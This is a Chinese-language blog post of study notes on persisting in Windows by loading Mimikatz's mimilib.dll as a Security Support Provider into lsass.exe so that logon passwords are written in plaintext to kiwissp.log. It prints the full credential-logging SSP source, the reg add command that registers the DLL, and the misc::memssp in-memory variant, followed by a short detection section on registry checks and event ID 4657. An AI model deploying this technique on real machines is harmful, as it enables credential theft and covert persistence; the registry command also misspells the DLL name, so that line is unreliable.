【域渗透】Windows-SSP-Mimikatz记录密码

本文是对以下文章的学习、记录

0x01 介绍

SSP 可以简单理解为 DLL,我们可以自己写一个SSP来实现操作系统的更多身份验证,也能实现我们的后门。

LSA 全称Local Security Authority,Windows里面用于身份认证,常见进程为lsass.exe,LSA的特别之处在于LSA是可扩展的,在系统启动的时候SSP会被加载到进程lsass.exe中。前面说了,我们SSP相当于系统的DLL文件,我们能够自己去写一个SSP,实现更多身份验证,那么相当于我们写的SSP在系统开启的时候会被加载到lsass.exe里面。

0x02 Mimikatz SSP 利用

mimikatz早以支持这个功能,该文件为为mimilib.dll。mimikatz的poc为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include "kssp.h"

static SECPKG_FUNCTION_TABLE kiwissp_SecPkgFunctionTable[] = {
{
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
kssp_SpInitialize, kssp_SpShutDown, kssp_SpGetInfo, kssp_SpAcceptCredentials,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL
}
};

NTSTATUS NTAPI kssp_SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)
{
return STATUS_SUCCESS;
}

NTSTATUS NTAPI kssp_SpShutDown(void)
{
return STATUS_SUCCESS;
}

NTSTATUS NTAPI kssp_SpGetInfo(PSecPkgInfoW PackageInfo)
{
PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
PackageInfo->wVersion = 1;
PackageInfo->wRPCID = SECPKG_ID_NONE;
PackageInfo->cbMaxToken = 0;
PackageInfo->Name = L"KiwiSSP";
PackageInfo->Comment = L"Kiwi Security Support Provider";
return STATUS_SUCCESS;
}

NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
FILE *kssp_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
if(kssp_logfile = _wfopen(L"kiwissp.log", L"a"))
#pragma warning(pop)
{
klog(kssp_logfile, L"[%08x:%08x] [%08x] %wZ\\%wZ (%wZ)\t", PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, LogonType, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName);
klog_password(kssp_logfile, &PrimaryCredentials->Password);
klog(kssp_logfile, L"\n");
fclose(kssp_logfile);
}
return STATUS_SUCCESS;
}

NTSTATUS NTAPI kssp_SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE *ppTables, PULONG pcTables)
{
*PackageVersion = SECPKG_INTERFACE_VERSION;
*ppTables = kiwissp_SecPkgFunctionTable;
*pcTables = ARRAYSIZE(kiwissp_SecPkgFunctionTable);
return STATUS_SUCCESS;
}

将mimilib.dll复制到%windir%\System32目录下,注意系统位数,Mimikata提供了32位和64位版本的。

https://images.atsud0.me/images/post/20220304-13:55:39-_S510Dt_wO8jLC_S510Dt_1646373339887_S510Dt_wO8jLC.png

https://images.atsud0.me/images/post/20220304-13:57:36-_sByP7n_NEH0bF_sByP7n_1646373456653_sByP7n_NEH0bF.png

打开注册表,修改HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages,添加mimilib.dll。

命令行快速添加:

1
reg add hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" /t REG_MULTI_SZ /d kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimillb.dll

https://images.atsud0.me/images/post/20220304-13:59:33-_QbUtR3_kgI9eB_QbUtR3_1646373573766_QbUtR3_kgI9eB.png

添加好,重启系统后,可在%windir%\System32目录下面找到和POC代码中记录的kiwissp.log文件。

https://images.atsud0.me/images/post/20220304-14:02:36-_srlS5L_6Zrxo6_srlS5L_1646373756858_srlS5L_6Zrxo6.png

Mimikatz提供了一个内存更新的方法(注:重启后失效)

1
mimikatz.exe "privilege::debug" "misc::memssp"

https://images.atsud0.me/images/post/20220304-14:10:32-_bNLqnt_L1AL10_bNLqnt_1646374232928_bNLqnt_L1AL10.png

0x03 防御和检测

Regedit

检查HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages 项有无异常

查询注册表命令:

1
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

默认值为:

1
2
3
4
5
6
kerberos
msv1_0
schannel
wdigest
tspkg
pku2u

DLL

检测%windir%\System32是否有可疑dll文件

Event

日志中会出现ID:4657对注册表HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages的修改记录。

0x04 总结

本文简单介绍了Mimikatz利用SSP方法和其检查思路。那么我们有没有办法能够不重启、又可以不修改注册表,不放恶意dll在system32目录下的方法呢。除了这个,我们能不能在lsa.exe加载ssp直接连接我们的后门呢?